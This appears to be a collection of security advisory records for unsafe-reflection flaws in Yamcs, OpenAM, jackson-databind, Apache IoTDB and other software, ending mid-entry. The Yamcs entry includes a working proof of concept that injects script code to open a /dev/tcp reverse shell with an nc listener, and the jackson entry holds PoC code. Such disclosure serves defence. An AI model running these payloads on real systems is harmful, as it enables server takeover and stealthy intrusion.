{
  "affected": [],
  "aliases": [
    "CVE-2026-24246"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-01T16:16:45Z",
    "severity": "HIGH"
  },
  "details": "NVIDIA Megatron Bridge for Linux contains a vulnerability where an attacker could cause improper control of dynamically managed code resources. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, data tampering, and information disclosure.",
  "id": "GHSA-r68h-q8cp-98mx",
  "modified": "2026-07-01T18:31:47Z",
  "published": "2026-07-01T18:31:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24246"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NVIDIA/product-security/tree/main/2026/5841"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-24246"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-70410"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-22T16:17:52Z",
    "severity": "HIGH"
  },
  "details": "Use of Externally-Controlled Input to Select Classes or Code (\u0027Unsafe Reflection\u0027) vulnerability in Apache Calcite Avatica. Plugin instantiation (via AvaticaUtils#instantiatePlugin and other methods) initializes arbitrary classes via unrestricted calls to Class.forName(String) which by default triggers initialization. This may lead to the execution of static initializer blocks in arbitrary classes present in the classpath. The instantiation APIs should initialize and instantiate only classes implementing the specified plugin interface passed as input in conjunction with the desired classname. At the moment of writing, there are no well-known or widely used classes with dangerous static initializer blocks so the severity is low.\n\n\n\nThis issue affects Apache Calcite Avatica: before 1.29.0.\n\n\n\nUsers are recommended to upgrade to version 1.29.0, which fixes the issue.",
  "id": "GHSA-rqpp-92mg-pcvc",
  "modified": "2026-09-22T21:31:17Z",
  "published": "2026-09-22T18:33:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-70410"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/07vwvsnbskhf5kvksn5t5l9qjozv2rk4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-17593"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-07T17:16:59Z",
    "severity": "HIGH"
  },
  "details": "An account holding the nexus:settings:update permission in Nexus Repository 3 (or the equivalent nexus:settings permission in the legacy Nexus Repository 2) could submit arbitrary values as realm identifiers through an internal configuration API that did not validate them against the set of registered realms. Because unrecognized entries were persisted and re-evaluated on every realm load via a legacy code path, this could result in unintended code executing inside the Nexus Repository process, and in some cases a persistent authentication lockout that was not visible through the administrative UI.",
  "id": "GHSA-rw8g-2688-625j",
  "modified": "2026-09-22T18:33:04Z",
  "published": "2026-08-07T18:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-17593"
    },
    {
      "type": "WEB",
      "url": "https://help.sonatype.com/en/sonatype-nexus-repository-3-95-0-release-notes.html"
    },
    {
      "type": "WEB",
      "url": "https://support.sonatype.com/hc/en-us/articles/53849535836179"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-40008"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-10T08:16:22Z",
    "severity": "CRITICAL"
  },
  "details": "Use of Externally-Controlled Input to Select Classes or Code (\u0027Unsafe Reflection\u0027) vulnerability in Apache IoTDB.\nThe pipe processor reads a fully\nqualified Java class name and\ninstantiates it using Class.forName().newInstance() without any\nvalidation or allowlisting.\n\n\nThis issue affects Apache IoTDB: from 1.0.0 before 2.0.10.\n\nUsers are recommended to upgrade to version 2.0.10, which fixes the issue.",
  "id": "GHSA-v4p4-86j5-2f8q",
  "modified": "2026-07-10T18:32:13Z",
  "published": "2026-07-10T09:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40008"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/fm8cpvzbox2qqy99ztglm8wkk1nrg9ng"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/07/10/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-96672"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-23T16:16:49Z",
    "severity": "MODERATE"
  },
  "details": "Frappe ERPNext versions before 16.34.1 fail to validate that Financial Report Template calculation_formula values reference whitelisted methods before passing them to frappe.call(). Accounts Managers can supply arbitrary dotted Python paths to invoke non-whitelisted internal server-side methods and read their return values.",
  "id": "GHSA-vjc2-5pxv-9jpv",
  "modified": "2026-09-23T18:31:56Z",
  "published": "2026-09-23T18:31:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/frappe/erpnext/security/advisories/GHSA-794x-fhm7-58j7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96672"
    },
    {
      "type": "WEB",
      "url": "https://github.com/frappe/erpnext/commit/7aad59b129711e9bba17b25665428d1fc57bf37c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/frappe/erpnext"
    },
    {
      "type": "WEB",
      "url": "https://github.com/frappe/erpnext/blob/v16.34.0/erpnext/accounts/doctype/financial_report_template/financial_report_engine.py#L1166-L1171"
    },
    {
      "type": "WEB",
      "url": "https://github.com/frappe/erpnext/blob/v16.34.0/erpnext/accounts/doctype/financial_report_template/financial_report_template.json"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/frappe-erpnext-before-16.34.1-unauthorized-method-invocation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.12.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46562"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470",
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T22:45:49Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "# Remote Code Execution via Mission Database algorithm override\n\n## Summary\n\nThe Nashorn `ScriptEngine` used to evaluate user-supplied algorithm text in `MdbOverrideApi.updateAlgorithm` is constructed without a `ClassFilter`, allowing a user with the `ChangeMissionDatabase` privilege to execute arbitrary Java code on the Yamcs server. In Yamcs\u0027s default configuration (no `security.yaml`), the built-in `guest` user has `superuser=true`, so the vulnerability is reachable without authentication.\n\n## Details\n\n**Vulnerable file**: `yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java`\n\n```java\n// L46-53  Nashorn engine obtained without a ClassFilter\nScriptEngineFactory factory = scriptEngineManager.getEngineFactories().stream()\n        .filter(candidate -\u003e !JDK_BUILTIN_NASHORN_ENGINE_NAME.equals(candidate.getEngineName())\n                \u0026\u0026 candidate.getNames().contains(language))\n        .findFirst().orElse(null);\nif (factory != null) {\n    scriptEngine = factory.getScriptEngine();          // \u2190 ClassFilter not supplied\n}\n\n// L109  user-supplied algorithm text reaches eval()\nscriptEngine.eval(functionScript);\n```\n\n`NashornScriptEngineFactory.getScriptEngine()` accepts an optional `ClassFilter` that restricts which classes JavaScript can reach via `Java.type(...)`. Yamcs passes no filter, so attacker-supplied JavaScript can reach any Java class \u2014 for example, `Java.type(\"java.lang.Runtime\").getRuntime().exec(...)` runs arbitrary OS commands inside the Yamcs JVM.\n\nThe path from HTTP request to `eval` is:\n`MdbOverrideApi.updateAlgorithm` (`yamcs-core/src/main/java/org/yamcs/http/api/MdbOverrideApi.java:145-189`)\n\u2192 `AlgorithmManager.overrideAlgorithm` (`yamcs-core/src/main/java/org/yamcs/algorithms/AlgorithmManager.java:529-559`)\n\u2192 `ScriptAlgorithmExecutorFactory.makeExecutor` (`yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java:102-117`)\n\u2192 `scriptEngine.eval(...)`.\n\n## PoC\n\nRun against any reachable Yamcs deployment that has at least one JavaScript `CustomAlgorithm` in its MDB (the `simulator` example MDB includes several, such as `/YSS/SIMULATOR/Battery_Voltage_Avg`).\n\nAttacker-side listener:\n```\nnc -lvnp 4444\n```\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nUsage: python3 \u003cpoc\u003e.py http://target:8090 LHOST LPORT\n\"\"\"\nimport json, sys, time, urllib.request\n\nTARGET    = sys.argv[1].rstrip(\"/\")\nLHOST     = sys.argv[2]\nLPORT     = int(sys.argv[3])\nINSTANCE  = \"simulator\"\nPROCESSOR = \"realtime\"\nALGORITHM = \"YSS/SIMULATOR/Battery_Voltage_Avg\"\n\n# Close the generated wrapper function with `}`, execute the payload at\n# top level, then re-open a dummy function so the trailing `}` emitted\n# by ScriptAlgorithmExecutorFactory parses. No throw -\u003e no event fired.\npayload = (\n    \u0027} \u0027\n    \u0027Java.type(\"java.lang.Runtime\").getRuntime().exec(\u0027\n    f\u0027[\"bash\",\"-c\",\"exec 3\u003c\u003e/dev/tcp/{LHOST}/{LPORT}; id \u003e\u00263; sh -i \u003c\u00263 \u003e\u00263 2\u003e\u00263\"]); \u0027\n    \u0027function _x(){\u0027\n)\n\npatch = f\"{TARGET}/api/mdb-overrides/{INSTANCE}/{PROCESSOR}/algorithms/{ALGORITHM}\"\n\ndef http(method, url, body=None):\n    req = urllib.request.Request(url, data=json.dumps(body).encode() if body else None,\n                                  method=method, headers={\"Content-Type\": \"application/json\"})\n    return urllib.request.urlopen(req, timeout=10).read()\n\nhttp(\"PATCH\", patch, {\"action\": \"SET\", \"algorithm\": {\"text\": payload}})\ntime.sleep(2)\nhttp(\"PATCH\", patch, {\"action\": \"RESET\"})\n```\n\n\u003cimg width=\"1841\" height=\"881\" alt=\"nashorn-rce-poc\" src=\"https://github.com/user-attachments/assets/48432eea-67b5-4f3b-af97-c77325b0d671\" /\u003e\u003cbr\u003e\n\nThe override path emits events only when evaluation fails: a `WARNING` from `ScriptAlgorithmExecutorFactory.java:112` and a `CRITICAL` from `AlgorithmManager.java:546`. Any syntactically valid payload \u2014 like the one above \u2014 succeeds silently and **no event is fired**, so the attack leaves no trace in the Yamcs event stream.\n\n## Impact\nArbitrary code runs as the OS user running the Yamcs server, leading to compromise of that server and disruption of the mission it controls.\n\nFor a Yamcs deployment managing spacecraft operations, an attacker can:\n- forge or block telecommands, suppress alarms, and tamper with the telemetry archive \u2014 disrupting or seizing control of the mission;\n- read any file the Yamcs process can read (cryptographic keys, credentials, MDB source files, configuration);\n- pivot to other ground-station systems reachable from the server (TSE instruments, neighboring Yamcs instances, internal services);\n- install a persistent backdoor via the same primitive.\n\nWho is impacted:\n- **All Yamcs deployments running in the default configuration** (no `security.yaml` present): any unauthenticated network attacker that can reach the HTTP API port (default `8090`).\n- **Yamcs deployments with security enabled**: any user that has been granted the `ChangeMissionDatabase` system privilege. This privilege is commonly given to MDB engineers and operators who edit calibrators or thresholds; the vulnerability turns that privilege into arbitrary code execution on the server.\n\n## Affected Versions\n\nAll Yamcs releases that ship the algorithm override endpoint are affected \u2014 no `ClassFilter` has ever been applied to the script engine.\n\n- **First vulnerable release**: `yamcs-4.7.3` (2018-11-22). Introduced in commit `951e505d18a3912813b59edc685cbcbd4c609906` (\"added possibility to change in a running processor alarms, calibrations and algorithms texts\"). The commit added the `ChangeAlgorithmRequest` RPC (later renamed `UpdateAlgorithmRequest`) and routed it as `PATCH /api/mdb/{instance}/{processor}/algorithms/{name*}`.\n- **Routing change at `yamcs-5.5.0`** (2021-04): the endpoint was split out of `MdbApi` into `MdbOverrideApi` and moved to `PATCH /api/mdb-overrides/{instance}/{processor}/algorithms/{name*}`. The underlying `scriptEngine.eval(...)` sink and the missing `ClassFilter` are identical.\n- **Latest release**: `yamcs-5.12.6` (commit `f1a26fe54587fab9960d7e53fc1bf0c879220e9e`) is affected. These four files (`MdbOverrideApi.java`, `AlgorithmManager.java`, `ScriptAlgorithmExecutorFactory.java`, `SecurityStore.java`) are unchanged between `5.12.6` and current `master` (`96d3e2d474415bea859f40ecbddc1bb8a0d141c1`) \u2014 no upstream fix exists.\n\nIn short: **every Yamcs release from `4.7.3` through `5.12.6`, plus current `master`, is vulnerable** (133 release tags spanning 2018-11-22 to present).",
  "id": "GHSA-vmwp-vh32-rj75",
  "modified": "2026-05-27T22:45:49Z",
  "published": "2026-05-27T22:45:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-vmwp-vh32-rj75"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yamcs/yamcs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Yamcs Vulnerable to Remote Code Execution via Mission Database algorithm override"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-66269"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-17T11:17:02Z",
    "severity": "HIGH"
  },
  "details": "Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Use of Externally-Controlled Input to Select Classes or Code (\u0027Unsafe Reflection\u0027) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Protection mechanism bypass.",
  "id": "GHSA-vx76-phjf-p6gq",
  "modified": "2026-09-17T12:32:00Z",
  "published": "2026-09-17T12:32:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66269"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-us/000506586/dsa-2026-403-security-update-for-dell-openmanage-server-administrator-omsa-network-access-vulnerabilitiesv"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-13772"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-30T20:17:29Z",
    "severity": "HIGH"
  },
  "details": "IBM WebSphere Extreme Scale 8.6.1.0 through 8.6.1.6 \u0027s Object Query Language engine resolves attacker-supplied class names via Class.forName() and invokes their constructors with no allow-list at three distinct sinks (SELECT NEW, enum literals, and reflection-based comparators); an authenticated remote attacker who can influence an application-built OQL query string can execute arbitrary constructors on the WAS JVM, and a SELECT DISTINCT variant using planted grid values fires the same gadget post-readObject in a manner that survives JEP-290 serialization filters across grid node boundaries",
  "id": "GHSA-w6x5-7fjj-v49p",
  "modified": "2026-06-30T21:31:44Z",
  "published": "2026-06-30T21:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13772"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7278593"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 16.1.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.openidentityplatform.openam:openam-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "16.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62379"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T21:11:09Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\nA pre-authentication remote code execution vulnerability affects OpenAM. The\nremote authentication endpoint (`/authservice`, PLL) accepts an XML element\nthat names an arbitrary Java class, which the server then loads and\ninstantiates without validation. On a default configuration this is reachable\n**without authentication** and allows an attacker to run code on the server.\n\n## Impact\nUnauthenticated remote code execution / full server compromise on any OpenAM\ninstance with default settings.\n\n## Affected\nAll releases up to and including 16.1.1 (the defect predates the Open Identity\nPlatform fork).\n\n## Remediation\nUpgrade to `16.1.2`. The fix resolves the class named in a `\u003cCustomCallback\u003e`\nelement without running its static initialisers and rejects it unless it\nimplements `DSAMECallbackInterface`, and it constrains deserialisation of the\nserialised `Subject` value to a class allowlist.\n\n## Interim mitigation\nIf you cannot upgrade immediately:\n\n- **Restrict or block external network access to `/authservice`.** This is the\n  only reliable mitigation.\n- Optionally, **block PLL requests carrying a `\u003cCustomCallback className=\"...\"\u003e`\n  element** at the reverse proxy or WAF. That element is only produced for custom\n  `DSAMECallbackInterface` callbacks, so most deployments never send it \u2014 confirm\n  against your own traffic before enforcing.\n- **Enabling `sunRemoteAuthSecurityEnabled` does *not* mitigate this issue.** The\n  remote-auth security token is checked in `AuthXMLHandler.processAuthXMLRequest`,\n  which runs only after `AuthXMLRequest.parseXML` has already parsed the request\n  and instantiated the class named in the `\u003cCustomCallback className=\"...\"\u003e`\n  element. Do not rely on it as a substitute for upgrading or for network\n  restriction.\n\n## Credit\nVulnerability discovered by Zhixi \"Jace\" Sun of ASM/VI at TikTok.\nCorrection of the interim mitigation guidance contributed by @BarakSrour.",
  "id": "GHSA-wg5r-wc3x-39vc",
  "modified": "2026-08-03T20:44:06Z",
  "published": "2026-07-24T21:11:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-wg5r-wc3x-39vc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenIdentityPlatform/OpenAM/commit/edcf968cad91a78b932dba4ad559ef94cbf35f5a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OpenIdentityPlatform/OpenAM"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenIdentityPlatform/OpenAM/releases/tag/16.1.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenAM: Unauthenticated Remote Code Execution via Class.forName in AuthXMLUtils.createCustomCallback"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "3.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8.0"
            },
            {
              "fixed": "2.18.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.19.0"
            },
            {
              "fixed": "2.21.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.22.0"
            },
            {
              "fixed": "2.22.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-19032"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470",
      "CWE-610"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-28T20:19:19Z",
    "nvd_published_at": "2026-09-01T04:18:00Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nA `java.nio.file.Path` field bound from untrusted JSON reaches `JDKFromStringDeserializer.NioPathHelper.deserialize`. The attacker string flows through `new URI(value)` \u2192 `Path.of(uri)`, then on `FileSystemNotFoundException` into a `ServiceLoader\u003cFileSystemProvider\u003e` enumeration that calls `provider.getPath(uri)` on the first scheme-matching provider. No scheme is rejected, so untrusted JSON can drive an arbitrary registered provider under the default `JsonMapper.builder().build()`.\n\nImpact is bounded. The JDK built-in providers (`file`, `jar`/zipfs) do no network I/O and do not mount, so the path is inert without a side-effecting third-party provider. Binding `Path` from untrusted input is already an anti-pattern.\n\n### Description\n\n`NioPathHelper.deserialize` performs provider resolution driven by the attacker URI (abridged; the real method also handles a Windows drive-letter prefix and wraps failures via `ctxt.handleInstantiationProblem(...)`):\n\n```java\nint colonIx = value.indexOf(\u0027:\u0027);\nif (colonIx \u003c 0) { return Path.of(value); }\n...\nfinal URI uri = new URI(value);          // attacker-controlled URI string\ntry {\n    return Path.of(uri);                  // resolves scheme -\u003e may load a FileSystemProvider\n} catch (FileSystemNotFoundException cause) {\n    final String scheme = uri.getScheme();\n    for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) {\n        if (provider.getScheme().equalsIgnoreCase(scheme)) {\n            return provider.getPath(uri);  // attacker scheme selects \u0026 drives a provider\n        }\n    }\n    // no matching provider -\u003e ctxt.handleInstantiationProblem(...) (throws by default)\n}\n```\n\nThe attacker\u0027s scheme selects the provider and the attacker\u0027s URI is passed to it; the enumeration also forces provider classloading during `readValue`. For built-in schemes like `jar:`, `getPath` throws `FileSystemNotFoundException` (a mount requires explicit `newFileSystem`), surfacing as a wrapped `ValueInstantiationException` with no terminal effect. Any mount, network I/O, or resource access depends entirely on the selected provider.\n\n## Vulnerable Code Location\n\n- `src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.java`\n  - `STD_PATH` \u2192 `NioPathHelper.deserialize`; `NioPathHelper.deserialize` body \n       (`new URI` \u2192 `Path.of(uri)` \u2192 `ServiceLoader.load(FileSystemProvider.class)` \u2192 `provider.getPath(uri)`).\n\n\n## Proof of Concept\n\nTwo PoCs are provided. \n\n\u003e PoC 2 registers a custom `FileSystemProvider` to show that attacker JSON reaches `provider.getPath(attackerURI)` inside `readValue`. Whether a third-party provider then does anything harmful is outside the library\u0027s control. The in-scope issue is **PoC 1** \u2014 the `jar:`/arbitrary-scheme path reaching the `ServiceLoader` fallback with no scheme restriction.\n\n**PoC 1 \u2014 sink reached (built-in `jar` provider).** \n\n`com/poc/Vuln04_PathProvider.java`:\n```java\npackage com.poc;\n\nimport tools.jackson.databind.ObjectMapper;\nimport tools.jackson.databind.json.JsonMapper;\nimport java.nio.file.Path;\n\n/**\n * Vuln 4: java.nio.file.Path deserialization resolves an attacker URI via\n * Path.of(uri) / ServiceLoader\u003cFileSystemProvider\u003e.\n */\npublic class Vuln04_PathProvider {\n    public static class Config { public Path workdir; }\n\n    public static void main(String[] args) throws Exception {\n        ObjectMapper mapper = JsonMapper.builder().build();\n        // jar: scheme forces FileSystemProvider resolution / mounting attempt on attacker URI.\n        String json = \"{\\\"workdir\\\":\\\"jar:file:/tmp/jackson_poc_evil.zip!/x\\\"}\";\n        System.out.println(\"Deserializing (default mapper): \" + json);\n        try {\n            Config c = mapper.readValue(json, Config.class);\n            System.out.println(\"Resolved Path = \" + c.workdir + \"  (class=\" + (c.workdir==null?\"null\":c.workdir.getClass().getName()) + \")\");\n            System.out.println(\"RESULT: VULNERABLE - attacker URI scheme resolved through provider machinery during readValue\");\n        } catch (Throwable t) {\n            System.out.println(\"Throwable during resolution: \" + t.getClass().getName() + \": \" + t.getMessage());\n            System.out.println(\"RESULT: VULNERABLE (attacker URI drove provider resolution; threw \" + t.getClass().getSimpleName() + \" inside readValue)\");\n        }\n    }\n}\n```\n\n**PoC 2 \u2014 scheme-selection mechanism demo (custom `FileSystemProvider`).**\nA third-party provider (scheme `evilscheme`) registered via `META-INF/services/java.nio.file.spi.FileSystemProvider`, which is standing in for *any* provider a real application ships. \n\n`com/poc/EvilFileSystemProvider.java`:\n```java\npackage com.poc;\n\nimport java.nio.file.*;\nimport java.nio.file.spi.FileSystemProvider;\nimport java.nio.file.attribute.*;\nimport java.net.URI;\nimport java.io.IOException;\nimport java.util.*;\nimport java.util.Set;\nimport java.nio.channels.SeekableByteChannel;\n\n/**\n * A custom java.nio.file.spi.FileSystemProvider registered via META-INF/services, using the\n * scheme \"evilscheme\". It stands in for ANY third-party FileSystemProvider present on a real\n * application\u0027s classpath. Its static initializer and getPath() record that they executed,\n * proving that attacker-controlled JSON drove provider class loading + provider.getPath(uri)\n * inside jackson\u0027s readValue.\n */\npublic class EvilFileSystemProvider extends FileSystemProvider {\n    public static volatile boolean STATIC_INIT_RAN = false;\n    public static volatile String GET_PATH_URI = null;\n    static { STATIC_INIT_RAN = true; }\n\n    @Override public String getScheme() { return \"evilscheme\"; }\n\n    @Override public Path getPath(URI uri) {\n        GET_PATH_URI = uri.toString();\n        System.out.println(\"\u003e\u003e\u003e [EVIL-PROVIDER] getPath() invoked with attacker URI: \" + uri);\n        // A malicious/vulnerable provider could here open a socket, read a file, mount a FS, etc.\n        return java.nio.file.Path.of(System.getProperty(\"java.io.tmpdir\"), \"evilprovider-marker\");\n    }\n\n    // --- remaining abstract methods: minimal stubs ---\n    @Override public FileSystem newFileSystem(URI uri, Map\u003cString,?\u003e env) { throw new UnsupportedOperationException(); }\n    @Override public FileSystem getFileSystem(URI uri) { throw new FileSystemNotFoundException(); }\n    @Override public SeekableByteChannel newByteChannel(Path p, Set\u003c? extends OpenOption\u003e o, FileAttribute\u003c?\u003e... a) throws IOException { throw new UnsupportedOperationException(); }\n    @Override public DirectoryStream\u003cPath\u003e newDirectoryStream(Path d, DirectoryStream.Filter\u003c? super Path\u003e f) { throw new UnsupportedOperationException(); }\n    @Override public void createDirectory(Path d, FileAttribute\u003c?\u003e... a) { throw new UnsupportedOperationException(); }\n    @Override public void delete(Path p) { throw new UnsupportedOperationException(); }\n    @Override public void copy(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }\n    @Override public void move(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }\n    @Override public boolean isSameFile(Path p, Path p2) { return false; }\n    @Override public boolean isHidden(Path p) { return false; }\n    @Override public FileStore getFileStore(Path p) { throw new UnsupportedOperationException(); }\n    @Override public void checkAccess(Path p, AccessMode... m) { }\n    @Override public \u003cV extends FileAttributeView\u003e V getFileAttributeView(Path p, Class\u003cV\u003e t, LinkOption... o) { return null; }\n    @Override public \u003cA extends BasicFileAttributes\u003e A readAttributes(Path p, Class\u003cA\u003e t, LinkOption... o) { throw new UnsupportedOperationException(); }\n    @Override public Map\u003cString,Object\u003e readAttributes(Path p, String a, LinkOption... o) { throw new UnsupportedOperationException(); }\n    @Override public void setAttribute(Path p, String a, Object v, LinkOption... o) { }\n}\n```\n\nRegistration descriptor \u2014\n`src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider`:\n```\ncom.poc.EvilFileSystemProvider\n```\n\nDriver \u2014 `com/poc/Vuln04b_PathProviderMount.java`:\n```java\npackage com.poc;\n\nimport tools.jackson.databind.ObjectMapper;\nimport 